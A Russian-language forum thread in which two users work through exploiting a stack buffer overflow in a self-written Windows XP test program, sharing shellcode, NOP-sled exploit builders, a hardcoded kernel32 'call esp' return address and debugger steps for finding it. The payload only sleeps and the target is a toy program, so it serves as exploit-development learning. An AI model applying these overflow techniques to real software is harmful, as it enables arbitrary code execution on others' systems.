PDA

Просмотр полной версии : Помогите разобраться с переполнением буфера


0o Chris o0
12.02.2013, 20:11
Прочитал довольно много статей. Вроде все понятно, но не выходит реализовать

Собственно, вот код:


Code:
#include
#include
#include

char shellcode[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x98\x3a\x50\x ff\xd3";

int main(int argc, char* argv[])
{
char buf[200];
char exec[600];

memset(buf,0x00,sizeof(buf));
memset(buf,0x90,150-strlen(shellcode));
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));

*(long *)&buf[112] = 0x0022FF60; // при 112 уязвимая программа падает, при 111 уже нет

sprintf(exec,"overflow.exe %s",buf);
system(exec);
printf("\r\n");
system("pause");
return 0;
}

overflow.exe :

[CODE]
Code:
int main(int argc, char *argv[]) {

char buf[100];
strcpy(buf, argv[1]);
cout

P.S. При удачном исполнении программа должна просто проспать 15 секунд.

RoksHD
14.02.2013, 01:48
Что даешь на вход buf?

0o Chris o0
14.02.2013, 17:07
RoksHD said:
Что даешь на вход buf?


Ну если ты об этом:


Code:
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,150-strlen(shellcode));
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));

То сначала просто очищаю, записываю нопы, в конец дописываю код, который должен исполниться.

RoksHD
15.02.2013, 02:05
0o Chris o0 said:
Ну если ты об этом:

Code:
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,150-strlen(shellcode));
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));

То сначала просто очищаю, записываю нопы, в конец дописываю код, который должен исполниться.


Нет, это понятно.

Я думаю дело в этой строчке. *(long *)&buf[112] = 0x0022FF60;

RoksHD
15.02.2013, 03:42
Вот так тебе нужно сделать:


Code:
#include
#include

char shellcode[] =
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\xf0\x69\x83\x7c" // call esp in Kernel32
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x31\xc0" // твой код
"\xbb\x46\x24\x80" //
"\x7c\x66\xb8\x98" //
"\x3a\x50\xff\xd3"; //

int main (int argc, char **argv) {
char buf[10];
memset (buf, 0, sizeof(buf));
strcpy(buf, shellcode);
return 0;
}

где shellcode - строка которую тебе нужно сгенерировать в твоей первой программе.

PS. Я уменьшил длину массива до 10 байт, если тебе обязательно нужно больше, то увеличивай первую секцию шеллкода (до call esp) пока регистр EIP не перетрется нашем адресом и всё.

PPS. Адрес интсрукции call ESP может у нас отличаться. У меня Windows XP SP3 En x86

0o Chris o0
15.02.2013, 20:35
А как ты call esp нашел? Я всю программу перерыл в поисках call или jmp esp, так ничего и не нашел. IDA поиском не находит.

RoksHD
15.02.2013, 22:05
0o Chris o0 said:
А как ты call esp нашел? Я всю программу перерыл в поисках call или jmp esp, так ничего и не нашел. IDA поиском не находит.


1. Запускаешь прогу в отладчике (я использовал OllyDbg)

2. Открываешь список подгруженных библиотек (Alt + E)

3. Ищем среди них Kernel32.dll (эта библиотека как и ntdll.dll, msvcrt.dll всегда подгружены к любой программе в Windows)

4. Кликаешь правой кнопкой на ней и выбираешь "Follow Entry" и тебя перекидывает по базовому адресу загрузки Kernel32.dll

5. Далее будем искать нужную нам команду в этой библиотеке. Наживаем Ctrl + F и вводим команду call esp

6. И о чудо мы видим её)) (в крайнем левом столбце будет адрес этой команды)

Ну как-то так!

0o Chris o0
16.02.2013, 16:53
RoksHD said:
RoksHD


Нашел, 7C809F83. В проге записываю так "\x83\x9F\x80\x7c", она просто падает. А у меня возник вопрос, ну хорошо мы вызываем call esp, а esp сейчас указывает ведь на мусор...

RoksHD
17.02.2013, 00:12
0o Chris o0 said:
Нашел, 7C809F83. В проге записываю так "\x83\x9F\x80\x7c", она просто падает. А у меня возник вопрос, ну хорошо мы вызываем call esp, а esp сейчас указывает ведь на мусор...


Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))

0o Chris o0
17.02.2013, 19:18
RoksHD said:
Регистр ESP указывает ВСЕГДА на вершину стека. Если у тебя правильно перетерся EIP, то ESP указывает на код, который идет после этого адреса (в моем шелкоде там идут нопы (0x90))


Да, надо было несколько \x35 убрать и все заработало Сейчас переделаю свой код.

Upd.


Code:
#include
#include
#include

char shellcode[] =
"\x31\xc0\xbb\x46"
"\x24\x80\x7c\x66"
"\xb8\x98\x3a\x50"
"\xff\xd3";

int main(int argc, char* argv[]) {
char buf[300];
char exec[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x41,112);
buf[112] = '\x83';
buf[113] = '\x9F';
buf[114] = '\x80';
buf[115] = '\x7c';
//memset(buf+strlen(buf), 0x90, 5);
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
sprintf(exec,"overflow.exe %s",buf);
system(exec);
system("pause");
return 0;
}

На выходе имею:

http://s020.radikal.ru/i703/1302/bc/4c89a1d32f93.jpg

Судя по всему call esp выполняется, чтобы проверить записываем после call esp перед шеллом 5 нопов.

http://s018.radikal.ru/i524/1302/31/4cadd39abc27.jpg

Теперь в выводе видим, что эти 5 нопов появились в команде, значит call esp выполнился и нас перебросило на шеллкод. Так вот не понимаю, почему он не выполняется

http://s45.radikal.ru/i110/1302/b2/9766dabef1da.jpg

P.S. Вопрос для знатоков, можно ли в IDA, при вызове одной программы из другой, как в данном случае например, дизассемблировать вызываемую программу? То есть если exec.exe вызывает overflow.exe - IDA во время вызова overflow.exe, подключается к ней.